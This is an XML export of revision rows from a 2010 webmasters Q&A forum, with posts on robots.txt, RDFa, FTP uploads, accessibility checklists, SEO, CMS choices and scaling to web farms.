  <row Id="848" PostHistoryTypeId="2" PostId="472" RevisionGUID="b9f6d714-9f6b-4842-b8a1-a126fdde7d4f" CreationDate="2010-07-09T08:41:04.337" UserId="180" Text="Lack of a robots.txt file will not be harmful.  From the &lt;a href=&quot;http://www.robotstxt.org/robotstxt.html&quot;&gt;robotstxt.org website&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; To allow all robots complete access&#xD;&#xA;&gt;&#xD;&#xA;&gt;   User-agent: *  &#xD;&#xA;&gt;   Disallow:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; (or just create an empty &quot;/robots.txt&quot; file, or don't use one at all)&#xD;&#xA;&#xD;&#xA;However, even if you are not specifying anything in your robots.txt file, it is a good way of &lt;a href=&quot;http://www.sitemaps.org/protocol.php#informing&quot;&gt;informing search engines of the location of our XML Sitemap&lt;/a&gt;. You can do this by adding a line at the top of your robots.txt file that looks something like:&#xD;&#xA;&#xD;&#xA;&gt; Sitemap: http://www.example.com/sitemap-host1.xml&#xD;&#xA;" />
  <row Id="849" PostHistoryTypeId="2" PostId="473" RevisionGUID="ff10add1-da7a-4244-b0fc-8f008ca4bf01" CreationDate="2010-07-09T08:42:48.997" UserId="116" Text="Depending on your content there should be no issues with not having a robots file as long as you hapy to have every page on your site indexed by search engines. " />
  <row Id="850" PostHistoryTypeId="2" PostId="474" RevisionGUID="de6f5d00-8108-4c57-bc6b-6c635551f63b" CreationDate="2010-07-09T08:44:04.330" UserId="55" Text="The lack of a robots.txt file leaves it up to the crawler to decide what it can and can not do. Since it takes only seconds to avoid any kind of ambiguity, why not just make one that allows all agents to access everything?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="851" PostHistoryTypeId="2" PostId="475" RevisionGUID="6cbd0594-a4b7-4b27-8ce7-9f30cba5a301" CreationDate="2010-07-09T08:48:12.727" UserId="55" Text="I don't think it makes a difference unless the domain itself contains special (multibyte) characters, such as the ones recently approved by ICANN.&#xD;&#xA;&#xD;&#xA;You can have a page with a .cn domain that is all in English, and it will turn up in English results. Additionally, I've seen lots of .us domains in Russian, Chinese, Spanish, etc.&#xD;&#xA;&#xD;&#xA;What matters is the locale used when publishing, and vanity. If an e-commerce shop boasts &quot;Located right in the heart of the UK!&quot;, then it would probably want a .co.uk domain. Then again, most US businesses would want .com domains, rather than .us.&#xD;&#xA;&#xD;&#xA;The other use is organizing your network. Servers in the US might be servername.foo.us, where servers in China might be servername.foo.cn, especially if redirection based on geo location  is in use." />
  <row Id="852" PostHistoryTypeId="5" PostId="471" RevisionGUID="ddfab520-ad73-4640-8115-4f3bb2ef8a06" CreationDate="2010-07-09T08:51:25.763" UserId="55" Comment="added 57 characters in body" Text="Looking at [the overview][1], one thing that stands out is that RDFA is only applicable to XHTML 1.1 as far as validation goes, whereas there is an enormous push to finalize HTML5/CSS3 and get it out in production.&#xD;&#xA;&#xD;&#xA;Quoting the overview:&#xD;&#xA;&#xD;&#xA;&gt; To date, because XHTML is extensible&#xD;&#xA;&gt; while HTML is not, RDFa has only been&#xD;&#xA;&gt; specified for XHTML 1.1. Web&#xD;&#xA;&gt; publishers are welcome to use RDFa&#xD;&#xA;&gt; markup inside HTML4: the design of&#xD;&#xA;&gt; RDFa anticipates this use case, and&#xD;&#xA;&gt; most RDFa parsers will recognize RDFa&#xD;&#xA;&gt; attributes in any version of HTML. The&#xD;&#xA;&gt; authors know of no deployed Web&#xD;&#xA;&gt; browser that will fail to present an&#xD;&#xA;&gt; HTML document as intended after adding&#xD;&#xA;&gt; RDFa markup to the document. However,&#xD;&#xA;&gt; publishers should be aware that RDFa&#xD;&#xA;&gt; will not validate in HTML4 at this&#xD;&#xA;&gt; time. RDFa attributes validate in&#xD;&#xA;&gt; XHTML, using the XHTML1.1+RDFa DTD.&#xD;&#xA;&#xD;&#xA;We can assume that HTML5 will be similar in that RDFA will not validate, but probably won't break the document in **known and popular** browsers. That scares me a little when considering mobile devices.&#xD;&#xA;&#xD;&#xA;I don't think its going to hurt you, but its no substitute for ensuring that the semantics of your document are well structured (i.e. using heading tags appropriately), which usually results in the proper text/headings showing up in the results.&#xD;&#xA;&#xD;&#xA;The area where I see it most useful is describing the relation of a link to its concept, such as the 'license' example given in the overview. It is quite conceivable that someone wants results only offered under a CC-BY-SA license, or perhaps another variant.&#xD;&#xA;&#xD;&#xA;I don't think I'd want to assign a heading to be anything but that, especially when meta tags exist to state the author / etc. The typical:&#xD;&#xA;&#xD;&#xA; - Main Idea&#xD;&#xA; - Text&#xD;&#xA; - Supporting Idea&#xD;&#xA; - Text&#xD;&#xA; - Idea Supporting Supporting Idea&#xD;&#xA; - Text&#xD;&#xA; - ...&#xD;&#xA;&#xD;&#xA;... offers search engines a very easy way to understand the outline of any document. So, as shown in the example, re-mapping 'h3' to indicate the author might be silly, but associating a link relation as 'author-of-name-of-article' might be interesting, similar to the 'license' concept.&#xD;&#xA;&#xD;&#xA;I don't know anyone who has actually implemented it, so I'm not sure of success in either scenario. However, I don't think its going to (significantly) help your rank any more than a well structured document. The novelty, at least for me is the ability to find very specific things, such as all documents authored by &quot;Joe Q Smith&quot;, for instance.&#xD;&#xA;&#xD;&#xA;What I would not do is go re-defining the weight any given tag should carry when determining the structure of a document.&#xD;&#xA;&#xD;&#xA;And, I can't resist - this is yet one more reason why people should avoid parsing HTML with regex :)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/xhtml-rdfa-primer/" />
  <row Id="853" PostHistoryTypeId="2" PostId="476" RevisionGUID="6ad2a0cc-97c2-48f8-988b-4f5c5bc3c47f" CreationDate="2010-07-09T08:51:53.733" UserId="180" Text="There are certainly benefits to using RDFa and other semantic markup tools on certain types of website.  &#xD;&#xA;&#xD;&#xA;Google has recently introduced something called &quot;[Rich Snippets][1]&quot;, which allows webmasters to mark up things like recipes, contacts, events, reviews and more, and have them show up with special formatting in the SERPs.  &#xD;&#xA;&#xD;&#xA;While it does not support RDFa, Facebook is also using semantic markup in its [Open Graph Protocol][2].  &#xD;&#xA;&#xD;&#xA;Although the semantic web is not yet fully-baked, there are definitely situations where it makes sense to take advantage of it.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=99170&#xD;&#xA;  [2]: http://developers.facebook.com/docs/opengraph" />
  <row Id="854" PostHistoryTypeId="2" PostId="477" RevisionGUID="6daef413-4130-438c-96e3-da49d479f874" CreationDate="2010-07-09T08:59:28.193" UserId="191" Text="FTP stands for File Transfer Protocol. It provides a method for passing bulk data to a server. There are a number of tools available that you can use to perform FTP uploads to your hosting provider. A popular choice is [FileZilla][1] - a free open source FTP program which has [fairly good documentation][2] and is available across most popular platforms.&#xD;&#xA;&#xD;&#xA;It's important to keep a few things in mind when using FTP - it is not encrypted by default meaning your credentials and content that you send are sent in the clear so are vulnerable to interception. To address this you should connect to your hosting provider using FTPS (FTP over SSL/TLS).&#xD;&#xA;&#xD;&#xA;Your hosting provider should be able to provide you details with the address for connection for FTP upload and on what credentials you should use to connect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://filezilla-project.org&#xD;&#xA;  [2]: http://wiki.filezilla-project.org/Documentation" />
  <row Id="855" PostHistoryTypeId="5" PostId="314" RevisionGUID="b092a4d0-3640-4cd3-b819-009a156d36da" CreationDate="2010-07-09T09:00:31.543" UserId="120" Comment="added 43 characters in body" Text="**Use natural language to spell out the eMail address...**&#xD;&#xA;&#xD;&#xA;Ex:&#xD;&#xA;&#xD;&#xA;    thatguy at gmail dot com&#xD;&#xA;&#xD;&#xA;You'd be surprised how much harder it is to write a bot that can differentiate natural language vs writing a bot that just searches for the @ sign and regexes a normal address.&#xD;&#xA;&#xD;&#xA;It isn't 100% foolproof but it isn't any worse than obfuscation and it won't alienate your visually impaired users and/or users that have JavaScript disabled." />
  <row Id="856" PostHistoryTypeId="2" PostId="478" RevisionGUID="7d4d1da1-6c49-4bee-871f-721367b4af56" CreationDate="2010-07-09T09:05:52.123" UserId="55" Text="I am trying to follow a very important standard that I must admit I have ignored up until recently. I want to make sure that my pages are accessible to a large portion of people that have disabilities. I focus mainly on tutorials that are text and image intensive, but no video / flash or any kind of animations.&#xD;&#xA;&#xD;&#xA;What is a checklist that I can follow to ensure that many people with disabilities can have a good experience when using my web site, and what disabilities should I be most conscious of?&#xD;&#xA;&#xD;&#xA;I know that I can't possibly please everyone. I have gone through the [W3C guidelines][1], however I'm not entirely sure what standards apply to me. I'm not building web applications, I'm building mostly wiki like information exchanges, blogs and the occasional forum.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/WAI/guid-tech.html" />
  <row Id="857" PostHistoryTypeId="1" PostId="478" RevisionGUID="7d4d1da1-6c49-4bee-871f-721367b4af56" CreationDate="2010-07-09T09:05:52.123" UserId="55" Text="What are the minimum steps that I should follow to ensure that my web site is accessible to the disabled?" />
  <row Id="858" PostHistoryTypeId="3" PostId="478" RevisionGUID="7d4d1da1-6c49-4bee-871f-721367b4af56" CreationDate="2010-07-09T09:05:52.123" UserId="55" Text="&lt;accessibility&gt;&lt;standards&gt;" />
  <row Id="859" PostHistoryTypeId="5" PostId="476" RevisionGUID="224c04df-0c2e-4721-8fcf-ada59a6f25ac" CreationDate="2010-07-09T09:07:39.403" UserId="180" Comment="added 69 characters in body" Text="There are certainly benefits to using RDFa and other semantic markup tools on certain types of website.  &#xD;&#xA;&#xD;&#xA;Google has recently introduced something called &quot;[Rich Snippets][1]&quot;, which allows webmasters to mark up things like recipes, contacts, events, reviews and more, and have them show up with special formatting in the SERPs.  Rich Snippets supports RDFa and two other methods of marking up HTML.&#xD;&#xA;&#xD;&#xA;While it does not support RDFa, Facebook is also using semantic markup in its [Open Graph Protocol][2].  &#xD;&#xA;&#xD;&#xA;Although the semantic web is not yet fully-baked, there are definitely situations where it makes sense to take advantage of it.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=99170&#xD;&#xA;  [2]: http://developers.facebook.com/docs/opengraph" />
  <row Id="860" PostHistoryTypeId="6" PostId="443" RevisionGUID="9f2b09e0-c98c-4f1d-9bcd-2cf0eb0153db" CreationDate="2010-07-09T09:09:10.477" UserId="180" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="861" PostHistoryTypeId="2" PostId="479" RevisionGUID="45dc512e-5295-49a1-9998-07b5231fc4fc" CreationDate="2010-07-09T09:11:07.773" UserId="120" Text="**Here's a pretty detailed SEO focused answer for why *not* to use querystrings...**&#xD;&#xA;&#xD;&#xA;&gt;**Avoid dynamic URLs that contain ?, &amp;, $, =, +, and % characters, cgi-bin, session IDs, or cookies.**&#xD;&#xA;&#xD;&#xA;&gt;These URLs are usually the result of query strings on dynamic pages. Some search engine crawlers are wary of such URLs because they could potentially be infinite links that would overload the crawler. As a result, they may not index pages that use these URLs, especially when three or more of these characters are included in the address. As Eytan Seidman, MSN Search Program Manager, states, &quot;The algorithm starts to wonder whether it is going to get stuck in a loop endlessly crawling every single permutation of the query parameters. Thus, URLs with many (definitely more than 5) query parameters have a very low chance of ever being crawled.&quot; (Eytan Seidman, Crawling the Internet..., msnsearch's WebLog (November 18, 2004).) Here's an example of the kind of URL Mr Seidman's talking about:&#xD;&#xA;&#xD;&#xA;&gt;http://mybyz.com/products/page.aspx?view=14&amp;tab=6&amp;pcid=24B8-100084  &#xD;&#xA;9@@@@&amp;section=586&amp;origin=mybyzsearch&amp;cookie=false&#xD;&#xA;&#xD;&#xA;&gt;URL Rewriting won't Eradicate the Endless Loop&#xD;&#xA;Although you can use URL rewriting to eliminate the problem characters and create more human-friendly URLs, you won't be eliminating much bigger potential problems—it's critically important to ensure that search engine crawlers won't get stuck in an endless loop that would overload them.&#xD;&#xA;&#xD;&#xA;In short, from a web crawler's perspective. The more complex the query is, the more likely the crawler will ignore it.&#xD;&#xA;&#xD;&#xA;The major technical barrier to creating an effecting URL rewriting scheme is having a concrete plan/policy of how it's going to be organized/implemented and how many links that already exist on the site point to the querystring style links.&#xD;&#xA;&#xD;&#xA;It's definitely easier to implement earlier on in the design process as an overall function of the site's structure. That's part of the reason it's inherently supported by most of the mainstream web development frameworks (Zend, Django, Drupal, etc...)." />
  <row Id="862" PostHistoryTypeId="2" PostId="480" RevisionGUID="74aab789-acd8-4d6c-9305-20f24de7f05d" CreationDate="2010-07-09T09:13:43.763" UserId="180" Text="[The Grinder][1] is a powerful, flexible, and scriptable open source load testing framework.  It is actively developed and has a relatively shallow learning curve compared to some of the other options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://grinder.sourceforge.net/" />
  <row Id="863" PostHistoryTypeId="2" PostId="481" RevisionGUID="0921fa2b-4311-44d2-aca9-ddb0e4c8df60" CreationDate="2010-07-09T09:15:35.887" UserId="60" Text="I've found that [N2][1] is a very good, user friendly CMS.&#xD;&#xA;&#xD;&#xA;I've built a couple of sites on it that I've handed over to fairly non-technical people to run, and they've managed to do so very successfully - one of the users has had experiences of editing web sites in the past, and said that this was one of best ones they'd used.&#xD;&#xA;&#xD;&#xA;The latest version makes the editing experience even nicer apparently, although I have to admit I've not had a chance to look at it myself.&#xD;&#xA;&#xD;&#xA;I've also written a simple user guide (albeit tailored to the pages I'd produced, but could be a good starting point, let me know if you want to take a look).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://n2cms.com" />
  <row Id="864" PostHistoryTypeId="16" PostId="481" RevisionGUID="0921fa2b-4311-44d2-aca9-ddb0e4c8df60" CreationDate="2010-07-09T09:15:35.887" UserId="-1" />
  <row Id="865" PostHistoryTypeId="2" PostId="482" RevisionGUID="cdd6ee27-1d07-4554-b787-525b242aa111" CreationDate="2010-07-09T09:15:41.067" UserId="191" Text=" - Ensure that every image has alt text. &#xD;&#xA; - Make sure that your colour scheme is suitable for those with colour blindness. &#xD;&#xA; - Offer a high contrast layout or large text layout for the visually impaired. &#xD;&#xA; - Make sure your links make sense when read out of context (i.e. dont just write &quot;click here&quot;). &#xD;&#xA; - Ensure your site still offers full basic functionality if the user does not have javascript support. &#xD;&#xA;&#xD;&#xA;The W3 offers some basic tips on accessibility [via its website][1]. Joe Clark has an online version of his [&quot;Building Accessible Websites&quot;][2] book available to view for free which contains a lot of useful information. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/WAI/gettingstarted/Overview.html.en&#xD;&#xA;  [2]: http://joeclark.org/book/sashay/serialization/" />
  <row Id="866" PostHistoryTypeId="2" PostId="483" RevisionGUID="0d8db35b-485c-4ad9-a8e5-c79f10394d84" CreationDate="2010-07-09T09:27:08.580" UserId="60" Text="One of the key things to understand when doing A/B testing is the statistical significance of your results.&#xD;&#xA;&#xD;&#xA;Some good posts on this can be found here:&#xD;&#xA;&#xD;&#xA;- [Easy statistics for AdWords A/B testing, and hamsters][1]&#xD;&#xA;- [Statistical significance &amp; other A/B test pitfalls][2]&#xD;&#xA;- [Significance of Statistically Significant Results in A/B Testing][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.asmartbear.com/easy-statistics-for-adwords-ab-testing-and-hamsters.html&#xD;&#xA;  [2]: http://www.cennydd.co.uk/2009/statistical-significance-other-ab-test-pitfalls/&#xD;&#xA;  [3]: http://webanalysis.blogspot.com/2010/02/significance-of-statistically.html" />
  <row Id="867" PostHistoryTypeId="2" PostId="484" RevisionGUID="19d65f4f-53fa-4946-a65e-e1c342aea044" CreationDate="2010-07-09T09:37:19.983" UserId="60" Text="Depending your hosting provider, and how you build your website there are a number of tools out there.&#xD;&#xA;&#xD;&#xA;As [Wolfwyrd][1] explains, you could indeed use tools like FileZilla to upload your files manually.&#xD;&#xA;&#xD;&#xA;Other programmes such as the Visual Studio family (right down to the recently released [WebMatrix][2] edition) and Dreamweaver include mechanisms that allow you to &quot;publish&quot; your site to a hosting provider - under hood however, these will all be using FTP to transfer the files to the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/223/how-do-i-upload-pages-to-the-server/477#477&#xD;&#xA;  [2]: http://www.microsoft.com/web/webmatrix/features/" />
  <row Id="868" PostHistoryTypeId="2" PostId="485" RevisionGUID="d95924f8-86b4-470f-af1e-3980caadbbcf" CreationDate="2010-07-09T09:58:24.157" UserDisplayName="delete" Text="If you don't have a &quot;robots.txt&quot; your error log will get lots of 404s on the file, which could be a kind of annoyance, similar to if you don't have a favicon.&#xD;&#xA;" />
  <row Id="871" PostHistoryTypeId="5" PostId="462" RevisionGUID="e3ba86d7-60ea-48a3-84b8-a97ff97a4876" CreationDate="2010-07-09T10:44:40.667" UserId="55" Comment="added 294 characters in body" Text="I am helping a friend to bring a very large, completely static web site out of the stone age. One thing I'd like to add immediately is a RSS/ATOM feed.&#xD;&#xA;&#xD;&#xA;He does not like working with any kind of CMS. He makes his pages using a Dream Weaver template, then uploads it and manually updates some pages to link to the new content. His site does very, very well in search engines, but he's not quite engaging new visitors who would probably put him in their reader.&#xD;&#xA;&#xD;&#xA;Is there something I can install that allows him to easily / manually add new items to a feed? Perhaps something that if given a link could fetch a content excerpt?&#xD;&#xA;&#xD;&#xA;Searching around yielded hundreds of things that might work, but many from 2000 or prior that have not been updated since. Language is not critical, but PHP/Python would be ideal.&#xD;&#xA;&#xD;&#xA;I really need something self hosted.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;The flow of this should be, webmaster makes a new static page, uploads it, links to it .. now some mention of that page should exist in the RSS feed. Ideally, the webmaster could just provide the link to the new page, and the title with a short excerpt would appear in the feed." />
  <row Id="872" PostHistoryTypeId="2" PostId="487" RevisionGUID="2411a5bc-7753-438e-a17a-6aeff8ac6114" CreationDate="2010-07-09T10:47:39.777" UserId="200" Text="[LitmusApp][1] is a new player in the field. Their current major value-add is e-mail client testing (33 clients, including mobile), but they also do &quot;in the cloud&quot; browser testing of up to 24 browsers. In fact, browser testing was their first product, and it's still available independently through the [Alkaline][2] tool.&#xD;&#xA;&#xD;&#xA;I use Alkaline routinely. It's quite nice.&#xD;&#xA;&#xD;&#xA;The best thing about it is: you don't have to own or install _any_ of the browsers you want to test. They take care of all of that, and give you screenshots of the browser running on a real system in isolation. Myself being a terrible sysadmin person, this is ideal.&#xD;&#xA;&#xD;&#xA;  [1]: http://litmusapp.com/email-previews&#xD;&#xA;  [2]: http://litmusapp.com/alkaline" />
  <row Id="873" PostHistoryTypeId="5" PostId="460" RevisionGUID="88b5c632-0286-45c4-a6e3-05c9f6332129" CreationDate="2010-07-09T10:52:56.867" UserId="55" Comment="added 77 characters in body" Text="If you:&#xD;&#xA;&#xD;&#xA; - Make HTML standards compliant pages&#xD;&#xA; - Make semantically correct documents (proper use of heading tags, lists, etc)&#xD;&#xA; - Make sure, as much as possible that all text can be parsed (i.e. try to avoid text in images)&#xD;&#xA; - Make sure all links work and site map(s) exist&#xD;&#xA; - Make sure pages load quickly&#xD;&#xA; - Work to get inbound links from respected sites covering the same topic&#xD;&#xA; - Produce content that is useful and interesting to your intended audience&#xD;&#xA;&#xD;&#xA;... your site will do well in almost any search engine, even some that you don't know exist. I was amazed to find that a significant amount of my traffic comes from yandex.ru, and people actually take the time to translate my tutorials once finding them.&#xD;&#xA;&#xD;&#xA;Don't think of them as search engines, think of them as a series of lexical parsers and try to make their job as easy as possible. While their ranking algorithms vary, all of them do the same fundamental tasks of parsing the document structure and the text that it contains." />
  <row Id="874" PostHistoryTypeId="2" PostId="488" RevisionGUID="8c532a2e-5da4-4383-a654-b5102ea14dfd" CreationDate="2010-07-09T11:02:13.093" UserId="197" Text="I did a research on this not a long time ago. A user friendly CMS is a really basic demand for a CMS. What is it for, what are the things it needs to be able to do...&#xD;&#xA;&#xD;&#xA;If usability is a must, Telerik Sitefinity is actually a good choice, and enables you to use a lot of the functionalities a Web CMS needs.&#xD;&#xA;&#xD;&#xA;If money is not an issue... I would recommend Sitecore. Stable, endless possibilities and user friendly!&#xD;&#xA;&#xD;&#xA;PS: Mouahahaha, 2 CMS' in one answer ;)" />
  <row Id="875" PostHistoryTypeId="16" PostId="488" RevisionGUID="8c532a2e-5da4-4383-a654-b5102ea14dfd" CreationDate="2010-07-09T11:02:13.093" UserId="-1" />
  <row Id="876" PostHistoryTypeId="2" PostId="489" RevisionGUID="c65c4fee-0b43-4a72-9805-0d08f85451c3" CreationDate="2010-07-09T11:42:34.227" UserId="187" Text="Breadcrumbs.&#xD;&#xA;&#xD;&#xA;There is little official information available, but it seems that if you put navigational breadcrumbs on your site's pages (the kind that shows the user where he is within your site's hierarchy), the Google bot will pick up the information from there.&#xD;&#xA;&#xD;&#xA;From their [original announcement][1]:&#xD;&#xA;&#xD;&#xA;&gt; The information in these new hierarchies come from analyzing destination web pages. For example, if you visit the ProductWiki Spidersapien page, you'll see a series of similar links at the top, &quot;Home&gt; Toys &amp; Games&gt; Robots.&quot; These are standard navigational tools used throughout the web called &quot;breadcrumbs,&quot; which webmasters frequently show on their sites to help users navigate. By analyzing site breadcrumbs, we've been able to improve the search snippet for a small percentage of search results, and we hope to expand in the future.&#xD;&#xA;&#xD;&#xA;If you're looking in implementing breadcrumbs for your site, check out this Best Practices research from LBi: [SEO breadcrumbs for site hierarchies in Google][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2009/11/new-site-hierarchies-display-in-search.html&#xD;&#xA;  [2]: http://www.lbi.co.uk/blog/seo-breadcrumbs-for-site-hierarchies-in-google/" />
  <row Id="877" PostHistoryTypeId="2" PostId="490" RevisionGUID="951b9df2-caaa-4c28-a575-5c477f952276" CreationDate="2010-07-09T11:55:02.627" UserId="197" Text="The dutch government uses this site to test its sites on accessibility. take a look... you can also enter your site to test its current status on accessibility...&#xD;&#xA;&#xD;&#xA;http://www.webrichtlijnen.nl/english/" />
  <row Id="878" PostHistoryTypeId="5" PostId="488" RevisionGUID="894819d5-0064-4d43-8491-de3b4b1714bf" CreationDate="2010-07-09T11:56:34.140" UserId="197" Comment="deleted 12 characters in body" Text="I did a research on this not a long time ago. A user friendly CMS is a really basic demand for a CMS. What is it for, what are the things it needs to be able to do...&#xD;&#xA;&#xD;&#xA;If usability is a must, Telerik Sitefinity is actually a good choice, and enables you to use a lot of the functionalities a Web CMS needs.&#xD;&#xA;&#xD;&#xA;If money is not an issue... I would recommend Sitecore. Stable, endless possibilities and user friendly!&#xD;&#xA;&#xD;&#xA;PS: 2 CMS' in one answer ;)" />
  <row Id="879" PostHistoryTypeId="5" PostId="14" RevisionGUID="b6bfd6fd-8003-4538-9d25-a98e109352c8" CreationDate="2010-07-09T11:58:13.353" UserId="36" Comment="deleted 1 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the [Google WebMaster tools][1].&#xD;&#xA; - Keep content unique and relevant to your website.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA; - Ensure a [fast load time][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better. If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="880" PostHistoryTypeId="2" PostId="491" RevisionGUID="dd8d64ba-87d6-4f8f-837b-203fd8da846c" CreationDate="2010-07-09T12:19:29.693" UserId="197" Text="I was wondering about the consequences of building a site thats complaint with XHTML1.0 Strict. I have developed a lot of sites using the transitional doctype, and read about the consequences of a link target attribute. It can't be used and it has to be fixed with a javascript code block.&#xD;&#xA;&#xD;&#xA;I was wondering if there were any more of these 'heavy impact' occurences and if there are significant changes with day to day coding in the transitional variant...&#xD;&#xA;&#xD;&#xA;(Didnt know if it could be asked here, or that it has to be placed on stackOverflow.com because of the frontend related issue)" />
  <row Id="881" PostHistoryTypeId="1" PostId="491" RevisionGUID="dd8d64ba-87d6-4f8f-837b-203fd8da846c" CreationDate="2010-07-09T12:19:29.693" UserId="197" Text="Strict doctypes" />
  <row Id="882" PostHistoryTypeId="3" PostId="491" RevisionGUID="dd8d64ba-87d6-4f8f-837b-203fd8da846c" CreationDate="2010-07-09T12:19:29.693" UserId="197" Text="&lt;xhtml&gt;" />
  <row Id="883" PostHistoryTypeId="2" PostId="492" RevisionGUID="440d9959-e798-41e2-b288-fd05bc658e5c" CreationDate="2010-07-09T12:31:34.707" UserId="191" Text="I have been working on a website with a client for some time now and the site itself has grown massively in popularity. We are now at the stage where the single machine we have hosting the site is struggling to keep up requests and we have optimised the site itself as far as we can go (caching etc).&#xD;&#xA;&#xD;&#xA;We are now at the stage where we need to add another server to take the extra strain which leads to my question - what potential pitfalls and caveats do I need to be aware of or test the site for when moving to a web farm or clustered hosting environment?" />
  <row Id="884" PostHistoryTypeId="1" PostId="492" RevisionGUID="440d9959-e798-41e2-b288-fd05bc658e5c" CreationDate="2010-07-09T12:31:34.707" UserId="191" Text="What potential issues do I need to be aware of in a multi server/clustered environment?" />
  <row Id="885" PostHistoryTypeId="3" PostId="492" RevisionGUID="440d9959-e798-41e2-b288-fd05bc658e5c" CreationDate="2010-07-09T12:31:34.707" UserId="191" Text="&lt;web-hosting&gt;&lt;webfarm&gt;" />
  <row Id="886" PostHistoryTypeId="2" PostId="493" RevisionGUID="4842739b-042d-426b-9808-f22330a1cb49" CreationDate="2010-07-09T12:35:37.960" UserId="93" Text="I can't think of anything off the shelf, but you could be pretty easily script something like this in Ruby for example.&#xD;&#xA;&#xD;&#xA;[Nokogiri][1] is a very popular XML and HTML parser that you should use to read the page given the link the webmaster provides.  Then you could extract the excerpt text and title.  You can read in your existing feed XML, add the new info, and write it back out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nokogiri.org/" />
  <row Id="887" PostHistoryTypeId="2" PostId="494" RevisionGUID="b9e9993f-94d9-4b68-b387-8946aed10df0" CreationDate="2010-07-09T12:37:57.363" UserId="205" Text="Search engine strategies are to designed to find the best or most relevant content, not just the loudest.  If someone finds a way to trick the search engine and get high rankings today, it will likely not work tomorrow.  Don't make the mistake of trying to outsmart the search engines - good pages with good content, structure, and standards support will always win." />
  <row Id="888" PostHistoryTypeId="2" PostId="495" RevisionGUID="3c995a73-9379-4b4e-ac60-a3f219361efe" CreationDate="2010-07-09T12:40:40.773" UserId="97" Text="Session state (if that's an issue) is a potential issue.  Most load balancing appliances can use sticky sessions, meaning that a user that ends up on SERVER1 to start will remain on SERVER1, usually through the use of a cookie stored in browser memory.  The only caveat with this is that when SERVER1 goes offline for any reason, that user will have to log in again on another server.&#xD;&#xA;&#xD;&#xA;I've started bypassing this on my apps (they're CF apps) by sharing sessions in the server farm.  So one machine going down will not impact the user experience.&#xD;&#xA;&#xD;&#xA;The only other challenge I've faced in replicating the content correctly to all servers in the farm.  There's software out there to do this (robocopy, Fling from NCH software are two I've used), but I've still had instances where the sync didn't work 100% of the time.&#xD;&#xA;" />
  <row Id="889" PostHistoryTypeId="2" PostId="496" RevisionGUID="a51895db-af4f-4296-b9ec-cbb49c595311" CreationDate="2010-07-09T12:45:07.863" UserId="93" Text="Does your application care about state?  If a user has one request served by one machine and then another served by another, does it matter?  If you need to persist some form of state between requests, then everything is more complicated and there are various ways to deal with the problem.&#xD;&#xA;&#xD;&#xA;If you don't need to worry about state, then good job building your site, and you things should be relatively ok with a [proxy][1] and a few backend servers.&#xD;&#xA;&#xD;&#xA;If you do need to persist state, there are various ways to create a sticky session through the proxy so that the same backend server handles all requests from a single user, but there are also a lot of things that make those sessions hard to keep sticky.&#xD;&#xA;&#xD;&#xA;You can also persist state in a common medium on the backend, so each server will load the same state for the same user.  You can do this with a database (maybe too slow) or something like [memcached][2].&#xD;&#xA;&#xD;&#xA;Are you scaling up the number of database servers too? That will bring in another bunch of problems to worry about.&#xD;&#xA;&#xD;&#xA;Some of the session issues are discussed in the Stack Overflow Podcast [Number 63][3]&#xD;&#xA;&#xD;&#xA;For testing, make sure you hit a similar test cluster hard so you can see how your requests do when they are directed across many servers, because many requests from the same client to different backends is where you are likely to have issues, so make sure something in your test plan causes that to occur.&#xD;&#xA;&#xD;&#xA;You may also want to read about Stack Overflow's [network config][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haproxy.1wt.eu/&#xD;&#xA;  [2]: http://memcached.org/&#xD;&#xA;  [3]: http://blog.stackoverflow.com/2009/07/podcast-63/&#xD;&#xA;  [4]: http://blog.stackoverflow.com/2010/01/stack-overflow-network-configuration/" />
